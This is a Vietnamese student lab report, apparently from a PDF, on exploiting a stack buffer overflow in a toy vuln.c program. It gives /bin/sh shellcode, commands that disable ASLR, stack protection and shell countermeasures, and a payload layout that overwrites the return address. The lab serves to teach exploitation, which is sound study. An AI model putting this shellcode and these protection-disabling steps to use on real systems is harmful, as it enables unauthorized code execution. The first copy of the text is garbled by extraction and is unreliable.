1. Đề bài:
- Thc hi n t ấn công buffer overflow chương trình vuln.c, code có ở github.
- SV t chn giá tr c a buffer t 80 - 512 (không l y giá tr 64).
- Chp màn hình các c th c hi n + gi i thích. bướ
- Np file PDF.
Chương trình cn tn công:
#include<stdio.h>
#include<string.h>
int int main( argc, char* argv[])
{
char buf[ ];204
if (argc==1)
printf("missing argument\n");
else
strcpy(buf,argv[1]);
printf(" "buf: 0x%x\n ,(unsigned int)buf);
return ; 0
}
2. Ý tưởng
- Dùng 1 đoạn shellcode v i dãy hexx là:
\ \ \ \ \ \x31 xc0 x50\x68\x2f\x2f x73\x68\x68\x2f\x62\x69\x6e\x89 xe3\x50\x53 x89\xe1\
x31 xd2 x31 xb0 xcd\ \ \xc0\ \x0b\ \x80
- Viế ết đè shellcode lên bi n ‘char buf[204]’ và khéo léo ghi đè cả return address ở
thanh ghi EIP thành địa chỉ bắt đầu của shell code (vị trí bắt đầu của buf[204])
Return Address (Eip)
Ebp
Buf[204]
Buf[204]
Stack c c n p ủa chương trình khi đư
Gi Nhi thích: ng c a hàm main s c, ti p theo là local value được nạp vào trướ ế Ebp
được push vào, sau đó sẽreturn address (Eip) và các argument được truyn vào.
Low Stack
High
Lấy đị ắt đầa ch b u ca
Buf[204] (shellcode) ghi
đè lên ReturnAddress
ESP
3. Thc hi n:
- Trước khi t a hn công, chúng ta c u ch nh và tần điề t 1 s chức năng bảo v c
điều hành:
Tt chế độ c p a ch stack ng u nhiên. phát đị
(sudo sysctl -w kernel.randomization_va_space=0)
Biên d và cho phép ịch chương trình với các option t t cơ chế bo v stack
thc thi code trên stack.
(- -fno stack-protector -z execstack -mpreferred-stack-boundary=2)
Liên kết t i zsh thay vì dash m m t ặc định nh ắt tính năng bash
countermeasures c a Ubuntu 16.04.
(sudo ln -sf /bin/zsh /bin/sh)
Thc hin dùng GDB
Bước 1: Tìm chi a buf[], c u dài c n là [204] nên không c n thđây ta đã chọ
hiện bước này.
Bướ c 2: Tìm đ a ch bắt đầ u ca shellcode và thc hi n t n công.
+ Vào GDB - t breakpoit t n cu > đặ i v trí g ối chương trình (*main +71)
+ Run chương trình với buf tn công: 27byte shellcode + (204-27)byte giá
tr a+ (4 byte) b cho ebp + ‘\xff\xff\xff\xff’ và sau đó xem giá trị ca stack
Khi tìm được địa ch ca shellcode s thay vào \xff\xff\xff\xff (v trí Eip
hay địa ch tr v ca stack)
Địa ch b ắt đầu
ca shellcode
204 27 = 177
byte ‘a’
4 byte ‘b’ (Ebp)
+ Dùng câu l nh:
set *0xffffdc2c = 0xffffdb5c
(ghi đè Eip = địa ch a c
shellcode b u t t đầ địa ch
0xffffdc2c)
Ghi đè thành công
Kết qu: Ch c 1 shell mạy đượ i.
Thc hin không dùng GDB
Bướ c 1: Tìm đ a ch bắt đầu shellcode (địa ch buf[204]) dùng câu lnh
printf("buf: 0x%x\n",(unsigned int)buf) và đả ằng địm bo r a ch ca buf
không thay đổi mi ln chy.
Ta s s d ng chu p vào: 27byte shellcode 177byte i buffer nh +
gi uff 4bytá tr bt kỳ” (b er) 4byte giá tr+ bt kỳ” (ebp) + e địa ch
bt kỳ” (return address)
Bướ đị c 2: Thc hin tn công v i dòng lnh thay thế 4byte a ch bt k
bng cđịa ch a buf.
27byte shellcode + 177byte giá tr b t kỳ” + 4byte giá tr bt kỳ”
(ebp) + \xcc\xdb\xff\xff (return address)
V n t qu . à ta nh được kế tương tự

Preview text:

1. Đề bài:
- Thực hiện tấn công buffer overflow chương trình vuln.c, code có ở github.
- SV tự chọn giá trị của buffer từ 80 - 512 (không lấy giá trị 64).
- Chụp màn hình các bước thực hiện + giải thích. - Nộp file PDF.
Chương trình cần tấn công: #include #include
int main(int argc, char* argv[]) { char buf[20 ] 4 ; if (argc==1)
printf("missing argument\n"); else strcpy(buf,argv[1]);
printf("buf: 0x%x\n",(unsigned int)buf); return 0; } 2. Ý tưởng
- Dùng 1 đoạn shellcode với dãy hexx là:
“\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\
x31\xd2\x31\xc0\xb0\x0b\xcd\x80”
- Viết đè shellcode lên biến ‘char buf[204]’ và khéo léo ghi đè cả return address ở
thanh ghi EIP thành địa chỉ bắt đầu của shell code (vị trí bắt đầu của buf[204]) High Return Address (Eip) Ebp
Lấy địa chỉ bắt đầu của Buf[204]
Buf[204] (shellcode) ghi …
đè lên ReturnAddressESP Buf[204] Low Stack
Stack của chương trình khi đư c ợ nạp Giải thích: N
hững local value của hàm main sẽ được nạp vào trước, tiếp theo là Eb p
được push vào, sau đó sẽ là return address (Eip) và các argument được truyền vào.
3. Thc hin:
- Trước khi tấn công, chúng ta cần điều chỉnh và tắt 1 số chức năng bảo vệ của hệ điều hành:
Tắt chế độ cấp phát địa chỉ stack ngẫu nhiên.
(sudo sysctl -w kernel.randomization_va_space=0)
Biên dịch chương trình với các option tắt cơ chế bảo vệ stack và cho phép thực thi code trên stack.
(-fno-stack-protector -z execstack -mpreferred-stack-boundary=2)
Liên kết tới zsh thay vì dash mặc định nhằm tắt tính năng bash
countermeasures của Ubuntu 16.04.
(sudo ln -sf /bin/zsh /bin/sh)
Thc hin dùng GDB
✓ Bước 1: Tìm chiều dài của buf[], ở đây ta đã chọn là [204] nên không cần thực hiện bước này.
✓ Bước 2: Tìm địa chỉ bắt đầu của shellcode và thực hiện tấn công.
+ Vào GDB -> đặt breakpoit tại vị trí gần cuối chương trình (*main +71)
+ Run chương trình với buf tấn công: 27byte shellcode + (204-27)byte giá
trị a+ (4 byte) b cho ebp + ‘\xff\xff\xff\xff’ và sau đó xem giá trị của stack
➔ Khi tìm được địa chỉ của shellcode sẽ thay vào \xff\xff\xff\xff (vị trí Eip
hay địa chỉ trả về của stack) Địa chỉ bắt đầu của shellcode 204 – 27 = 177 byte ‘a’ 4 byte ‘b’ (Ebp) 4 byte địa chỉ trả về (mục tiêu để ta ghi đè) + Dùng câu lệnh:
set *0xffffdc2c = 0xffffdb5c
(ghi đè Eip = địa chỉ của
shellcode bắt đầu từ địa chỉ 0xffffdc2c) Ghi đè thành công
Kết quả: Chạy được 1 shell mới.
Thc hin không dùng GDB
Bước 1: Tìm địa chỉ bắt đầu shellcode (địa chỉ buf[204]) dùng câu lệnh
printf("buf: 0x%x\n",(unsigned int)buf) và đảm bảo rằng địa chỉ của buf
không thay đổi mỗi lần chạy.
➢ Ta sẽ sử dụng chuỗi buffer nhập vào: “27byte shellcode” + “177byte
giá trị bất kỳ” (buffer) + “4byte giá trị bất kỳ” (ebp) + “4byte địa chỉ
bất kỳ” (return address)
Bước 2: Thực hiện tấn công với dòng lệnh thay thế 4byte địa chỉ bất kỳ
bằng địa chỉ của buf.
“27byte shellcode” + “177byte giá trị bất kỳ” + “4byte giá trị bất kỳ”
(ebp) + “\xcc\xdb\xff\xff” (return address)
Và ta nhận được kết quả tương tự.